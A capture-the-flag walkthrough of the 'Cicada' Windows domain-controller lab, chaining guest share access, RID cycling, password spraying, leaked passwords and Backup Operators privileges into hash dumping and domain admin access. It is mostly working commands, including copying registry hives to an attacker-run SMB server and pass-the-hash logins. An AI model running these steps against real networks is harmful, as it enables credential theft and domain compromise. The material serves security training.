PRIMARY CATEGORY → EASY

Summary

  • Listing SMB Shares through Guest Authentication with Netxec, SMBMap and SMBClient (Samba Suite)
  • PE: Information Leakage in a text file located within an SMB Share
  • RID Cycling via LSARPC (RPC Endpoint) using RPCClient (Samba Suite) and Impacket’s Lookupsid.py
  • Domain User Accounts Validation via Kerberos using Kerbrute’s Userenum module
  • Checking for the Domain Password Policy with Netexec
  • Password Spraying via SMB with Netexec
  • Performing an Exhaustive Domain Enumeration via LDAP using ldapdomaindump.py
  • Looking for Groups.xml files in SYSVOL Share
  • Domain User Accounts Enumeration using RPCClient (Samba Suite), Net RPC and Impacket’s GetADusers.py
  • PE: Password Leakage in domain user account description using RPCClient (Samba Suite) and ldapsearch
  • PE: Password Leakage in a PowerShell Backup Script
  • LPE: Credential Dumping leveraging Backup Operators Membership (DSRM Administrator NT Hash)
  • Data Exfiltration (SAM, SYSTEM, SECURITY) both locally using reg.exe and remotely using Impacket’s reg.py
  • Credential Parsing with Impacket’s Secretsdump.py
  • Domain Credential Dumping with Netexec and Impacket’s Secretsdump.py


Setup

Directory creation with the Machine’s Name

mkdir Cicada && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.85.54

As mentioned, according to the TTL, It seems that It is a WINDOWS Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG cicada.allPorts 10.129.85.54

Open Ports →

53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985 and 53025
Comprehensive Scan

We can apply a little filter to the cicada.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p $( grep -ioP --color -- '\d{1,5}(?=/open)' cicada.allPorts | xargs | sed 's@\s@,@g' ) -sCV -v -n -Pn --disable-arp-ping -oN cicada.targeted 10.129.85.54
139, 445 - SMB

As always, let’s start enumerating the SMB Service in order to gather some generic and interesting information about the target such as the hostname, domain name, SMB Signing status and SMBv1 support

nxc smb 10.129.85.54

Once we know the hostname of the target, we should always add an entry related to this host in the /etc/hosts file

This step is important when assesing a certain host that seems to be a Domain Controller, based on the discovered ports

In this case, Kerberos, an authentication protocol, has a strong dependency on DNS, so it is mandatory for the operator to add the corresponding entry to the mentioned system file to ensure that all kerberos-related attacks and techniques work properly

printf "%s\t%s\t%s\t%s\n" "10.129.194.190" "cicada-dc" "cicada.htb" "cicada-dc.cicada.htb" >> /etc/hosts

Next, let’s start by listing the available shares in the target. To do so, we will have to check for Null Authentication or Guest Authentication as we do not have any valid domain credentials yet

When listing shares via SMB, it is always recommended to use several tools as we will have a greater certainty about the results obtained

Null authentication
nxc smb cicada-dc --username '' --password '' --shares

This time, we do not get any results using the above tool, which is rare, to be honest

smbmap -H 'cicada-dc' -d 'cicada.htb' -u '' -p ''

It seems that this type of authentication is not enabled in the target

Guest authentication
  • Netexec
nxc smb cicada-dc --username 'guest' --password '' --shares

We do not obtain any results again

  • SMBMap
smbmap -H 'cicada-dc' -d 'cicada.htb' -u 'guest' -p ''

Unlike the first, we are able to list the available shares with SMBMap. So, it seems that the Guest domain account is enabled, which is not the default behavior

The HR share stands out from the rest as it is a non-standard shared folder, unlike the IPC$ share

Therefore, we could proceed as follows in order to list its content

smbmap -H 'cicada-dc' -d 'cicada.htb' -u 'guest' -p '' -R 'HR'

And it only contains one file called Notice from HR.txt

Let’s download it to check its content

smbmap -H 'cicada-dc' -d 'cicada.htb' -u 'guest' -p '' --download 'HR/Notice from HR.txt'

And we get an empty file, but it should not be that way as the file size is 1266 bytes in the above output

Probably SMBMap cannot download that file due to the unstable SMB connection with the target

Let’s try to download it using smbclient

smbclient --user 'guest%' --command 'get "Notice from HR.txt"' '//cicada-dc/HR'

And we got it! Its content is the following one

And we have a password!

The problem is that we cannot perform any password spraying yet as we do not know any domain user account

So, for the time being, let’s move on to another services that allow us to list information about the domain and its objects, such as domain user acccounts

Again, as we do not have any valid credentials, we have to keep trying Null and Guest authentications

389, 636 - LDAP

Let’s try a anonymous LDAP bind to gather all domain information

First, we have to list the available domain naming contexts

ldapsearch -LLL -x -H 'ldap://cicada-dc.cicada.htb' -s base namingContexts

According to the naming contexts, proceed as follows in order to dump all domain data through an anonymous bind

ldapsearch -LLL -x -H 'ldap://cicada-dc.cicada.htb' -b 'DC=cicada,DC=htb'

But this type of authentication is not enabled either

Since we know that the guest domain account is enabled, let’s try to carry out the LDAP Bind with that account

ldapsearch -LLL -x -H 'ldap://cicada-dc.cicada.htb' -D 'guest@cicada.htb' -w '' -b 'DC=cicada,DC=htb'

But we obtain the same error

There is not much we can do at the moment here, so let’s move on to the next service

135 - RPC

As we always mention, the RPC Endpoint Mapper (EMP) is listening on this port. Any incoming connection to this port requesting the location of any RPC Endpoint is handled by this service

It maps any RPC Endpoint to a certain dynamic port[s] or system named pipes

There are usually several RPC Endpoints that an operator can interact with to list information about the domain, such as domain user accounts, namely →

  • SAMR

  • LSARPC

To do so, we can use the RPCclient tool. First, let’s start with the SAMR endpoint

rpcclient --user 'guest%' --command 'enumdomusers' cicada-dc
result was NT_STATUS_ACCESS_DENIED

But we get an NT_STATUS_ACCESS_DENIED error

If we try to connect to the LSARPC endpoint to list some information →

rpcclient --user 'guest%' --command 'lsaquery' cicada-dc

And we get the domain name and SID

With the latter, we could perform an RID cycling to list all existing domain accounts and groups

We could perform this action with RPCclient as follows

for _rid in {500..1500} ; do rpcclient --user 'guest%' --command "lookupsids S-1-5-21-917908876-1423158569-3159038727-$_rid" cicada-dc | awk -v IGNORECASE=1 '!/unknown/ { print $2 }' ; done

But it takes longer than with Impacket’s LookupSID.py

With the Impacket’s solution we could proceed as follows

lookupsid.py -no-pass 'cicada.htb/guest@cicada-dc' | awk -v IGNORECASE=1 '/sidtypeuser/ { print $2 }' | awk -F\\ '{ print $2 }' > user.list

And we have a list of valid domain user accounts

88 - Kerberos

We can validate the existence of these user accounts by performing a user enumeration with Kerbrute and provide the generated user list as wordlist

git clone https://github.com/ropnop/kerbrute kerbrute
cd !$ && go build -ldflags '-s -w' .
./kerbrute userenum --dc 'cicada-dc' --domain 'cicada.htb' users.list

And they are valid user accounts. Therefore, we could perform an ASREPRoast attack in order to enumerate user accounts that do not have kerberos preauthentication enabled i.e. user_dont_req_preauth flag enabled on UserAccountControl attribute

For these users, we would obtain an encrypted_part within the AS_REP, encrypted with a key derived from the user account password

An operator could try to crack it in order to obtain the plain password

To do so, simply use Impacket’s GetNPUsers.py

GetNPUsers.py -dc-ip 10.129.32.165 -no-pass -usersfile users.list 'cicada.htb/'

But there a no user accounts susceptible to ASREPRoast

139, 445 - SMB

Let’s perform a password spraying via SMB with the generated user list and retrieved password

nxc smb cicada-dc --username users.list --password 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

And we have valid domain credentials for the user michael.wrighton

88 - Kerberos

Once we have valid domain credentials, we can list all the registered Service Principal Names on the domain in order to perform a Kerberoasting attack

Any authenticated domain user can request a Service Ticket (ST) for a certain Service Principal Name (SPN) to the KDC’s Ticket Granting Service

This service ticket is encrypted with a key derived from the service account password for which the SPN is registered

Therefore, an adversary could try to crack this service ticket in order to obtain the account’s plain password

This attack is usually carried out over user accounts instead of computer accounts, as the DC sets the given password randomly for the latter

For such attack, we could use Impacket’s GetUserSPNs.py

GetUserSPNs.py -dc-ip 10.129.32.165 'cicada.htb/michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8'

But we get a “No entries found!” message, indicating that there are no SPNs registered for user accounts on the domain

Likewise, an operator could use ldapsearch for such a query

ldapsearch -LLL -x -H 'ldap://cicada-dc.cicada.htb' -D 'michael.wrightson@cicada.htb' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b 'DC=cicada,DC=htb' '(servicePrincipalName=*)' servicePrincipalName | awk -v IGNORECASE=1 '/servicePrincipalName/ { print $2 }'
389, 636 - LDAP

As usual, since we have valid domain credentials, we could use tools such as ldapdomaindump to perform a more exhaustive enumeration of the entire domain and its objects

git clone https://github.com/dirkjanm/ldapdomaindump ldapdomaindump
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install .
mkdir cicada_htb.data
cd !$ && python3 ldapdomaindump.py --user 'cicada.htb\michael.wrightson' --password 'Cicada$M6Corpb*@Lp#nZp!8' --no-grep --no-json 'cicada-dc'

Next, set up an HTTP Server in order to browse the generated resources properly

python3 -m http.server 80

And we got the below data

The user emily.oscars is able to establish a WinRM session to the DC since it belongs to the Remote Management Users group

But, the most interesting thing is that this user account is member of the Backup Operators group

This means that if we manage to compromise this account, we will be able to copy and exfiltrate, either locally or remotely, sensitive files such as the SAM, SYSTEM and SECURITY hives for subsequent local parsing with tools like Impacket Secretsdump.py

But, for the time being, let’s move on to some share enumeration via SMB using the recently obtained credentials

139, 445 - SMB
  • Netexec
nxc smb cicada-dc --username 'michael.wrightson' --password 'Cicada$M6Corpb*@Lp#nZp!8' --shares
  • SMBMap
smbmap -H 'cicada-dc' -d 'cicada.htb' -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'

This time, we also have access to NETLOGON and SYSVOL shares

The SYSVOL may be an interesting shared folder as it can contain sometimes sensitive information such as plain passwords within a cpassword field

Take into account that all created domain group policy preferences are stored within SYSVOL by default, which means that we could find out a groups.xml file with plain credentials

This share is accesible by all authenticated domain users by default

Said that, let’s inspect its content to look for any sensitive file

smbmap -H 'cicada-dc' -d 'cicada.htb' -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' -R 'SYSVOL'

But there is nothing interesting there. The remaining shares do not usually contain anything interesting either

135 - RPC

Again, since we have valid domain credentials, we have several ways to list the existing domain user accounts. Thus, we have a definitive user list for the subsequent attacks

  • RPCclient
rpcclient --user 'michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8' --command 'enumdomusers' cicada-dc | grep -ioP --color -- '^user:\[\K[\w\-_\.]+(?=\])' | tee user.list
  • Net RPC
net rpc user -U 'michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8' -S 'cicada-dc' | tee user.list
GetADUsers.py -dc-ip cicada-dc -all 'cicada.htb/michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8' | awk -v IGNORECASE=1 '/-{3,}/ { v = 1 ; next } v { print $1 }' | tee user.list

Next, let’s display all the domain user account descriptions

rpcclient --user 'michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8' --command 'querydispinfo' cicada-dc

And we have a leaked plain password in the description field/attribute of the user account david.orelious

Likewise, we could carry out the above action as follows via LDAP using ldapsearch and filtering by users and its description attribute

ldapsearch -LLL -x -H 'ldap://cicada-dc.cicada.htb' -D 'michael.wrightson@cicada.htb' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b 'DC=cicada,DC=htb' '(ObjectClass=user)' description | grep -i -- 'description'

It is fairly obvious that this is the password for the david.orelious user. But, we will perform another password spraying to check for possible password reuse on other user accounts

139, 445 - SMB

Before proceed with another password spraying, we should always check the domain password policiy to ensure not locking out any user account during the assessment

nxc smb cicada-dc --username 'michael.wrightson' --password 'Cicada$M6Corpb*@Lp#nZp!8' --pass-pol

And there is no account lockout threshold set for this domain, meaning we do not need to worry about locking any user accounts out. However, we should always be aware of event logs and other deffensive measures

So, let’s perform the mentioned action

nxc smb cicada-dc --username user.list --password 'aRt$Lp#7t*VQ!3' --continue-on-success

This time there is no password reuse, but we got the password for the user david.orelious

Since we saw earlier that this user does not have anything interesting such as a remarkable group membership, domain rights or privileges and so on, let’s list again the available shares via SMB to check for different permission on any of them

  • Netexec
nxc smb cicada-dc --username 'david.orelious' --password 'aRt$Lp#7t*VQ!3' --shares

And again, we were unable to obtain any results

  • SMBMap
smbmap -H 'cicada-dc' -d 'cicada.htb' -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'

And now, we have read permission on the DEV share as david.orelious. Let’s list its content

smbmap -H 'cicada-dc' -d 'cicada.htb' -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -R 'DEV'

There is a powershell script. Based on the filename, it seems to be a backup automation, so there may be any type of credentials

smbmap -H 'cicada-dc' -d 'cicada.htb' -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --download 'DEV/Backup_script.ps1'

And we have another set of credentials! This time for the user emily.oscars. Let’s validate them

nxc smb cicada-dc --username 'emily.oscars' --password 'Q!3@Lp#M6b*7t*Vt'

This time there is no need to perform a password spraying as, as we saw earlier, this user belongs to the Remote Management Users and Backup Operators groups

This means that we can connect remotely to the target via WinRM and exfiltrate sensitive files such as SAM, SYSTEM and SECURITY in order to compromise the entire domain, in case we can crack the stored hashes and reuse them with domain user accounts


Shell as System User

We can verify that we can establish a WinRM session with the DC as emily.oscars as follows

nxc winrm cicada-dc --username 'emily.oscars' --password 'Q!3@Lp#M6b*7t*Vt'

As expected, we can, so let’s do it

evil-winrm --ip 'cicada-dc' --user 'emily.oscars' --password 'Q!3@Lp#M6b*7t*Vt'

Privesc #1

Initial Non-Privileged User → emily.oscars

Credential Dumping leveraging Backup Operators Membership

We can check the groups to which the current user belongs as follows

whoami /groups

In fact, we belong to the Backup Operators group. So, the current access token associated with this Network Logon Session should have enabled the SeBackup and SeRestore privileges

whoami /priv

And so it is!

Therefore, simpy proceed as follows in order to extract the SYSTEM, SAM and SECURITY hives and parse them locally

Exfiltration
mkdir C:\Windows\Temp\Exfiltration
cd C:\Windows\Temp\Exfiltration
reg save HKLM\SAM .\SAM
reg save HKLM\SYSTEM .\SYSTEM
reg save HKLM\SECURITY .\SECURITY

We get an access denied error when extracting the SECURITY hive

Regardless of that, let’s extract those file copies

  • From the Attacker ⚔️
smbserver.py -smb2support -user 4l3xbb -password 4l3xbb smbFolder "$( pwd )"
  • From the Target 🎯
net use X: \\10.10.16.92\smbFolder /user:4l3xbb 4l3xbb
Copy-Item -Path .\* -Destination X:\
Parsing

Be aware that all sensitive information within SAM and SECURITY hives is protected by encrypting it using a syskey stored inside the SYSTEM hive and generated during OS installation

Therefore, an operator should extract the syskey/bootkey from SYSTEM and use it to decrypt all information located within SAM

This task can be accomplished by using Impacket’s Secretsdump.py

secretsdump.py LOCAL -sam SAM -system SYSTEM

Since this SAM copy comes from a Domain Controller, the NT Hash for the above Administrator user corresponds to the Directory Services Restore Mode (DSRM) password, which is set during the Active Directory setup

Therefore, we could check for password reuse on the domain user accounts using this NT Hash

In the end, the NT Hash is constructed by applying a MD4 hash function to the UTF-16LE-encoded password, so it comes from the plain password. This means that if two users have the same password, the NT hash will also be the same for both

So, let’s perform a hash spraying with the NT Hash of the DSRM Administrator user

But, before that, let’s see how we can get a copy of those sensitive hives with Impacket’s Reg.py

Exfiltration

First, we must set up an SMB Server as the target will connect to it in order to store all the information

smbserver.py -smb2support smbFolder "$( pwd )"

Then, proceed as follows

reg.py -dc-ip 'cicada-dc' 'cicada.htb/emily.oscars:Q!3@Lp#M6b*7t*Vt@cicada-dc' backup -o '\\10.10.16.92\smbFolder'

Next, we have to parse these files as we did it earlier

secretsdump.py LOCAL -sam SAM -system SYSTEM

Once the above is done, let’s carry out the mentioned hash spraying with the NT hash of the DSRM Administrator user

nxc smb cicada-dc --username user.list --hash '2b87e7c93a3e8a0ea4a581937016f341' --continue-on-success

And it is the same NT hash as for the domain Administrator account

Therefore, let’s connect to the target remotely via WinRM as the Administrator user and grab the content of the root.txt flag

evil-winrm --ip 'cicada-dc' --user 'Administrator' --hash '2b87e7c93a3e8a0ea4a581937016f341'
Get-Content C:\Users\Administrator\Desktop\root.txt

With our current position, we are able to dump the entire NTDS.dit data and extract the NT Hash and AES Keys of any domain user account

  • Netexec
nxc smb cicada-dc --username 'Administrator' --hash '2b87e7c93a3e8a0ea4a581937016f341' --ntds

We get nothing as the operation timed out

  • Impacket’s Secretsdump.py
secretsdump.py -hashes ':2b87e7c93a3e8a0ea4a581937016f341' 'cicada.htb/Administrator@cicada-dc'

This time we managed to obtain some information before it timed out again 💀

So, that’s all, let’s move on to the next machine! 😊